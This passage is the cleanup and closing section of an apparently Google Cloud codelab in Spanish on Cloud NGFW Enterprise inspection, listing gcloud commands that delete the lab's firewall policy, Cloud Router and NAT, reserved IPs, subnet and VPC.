gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Borra Cloud Router y Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Borra las direcciones IP reservadas:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Por último, borra la subred y la red de VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. ¡Felicitaciones!
¡Felicitaciones! Completaste correctamente el codelab de NGFW empresarial de Cloud para la inspección este-oeste y norte-sur.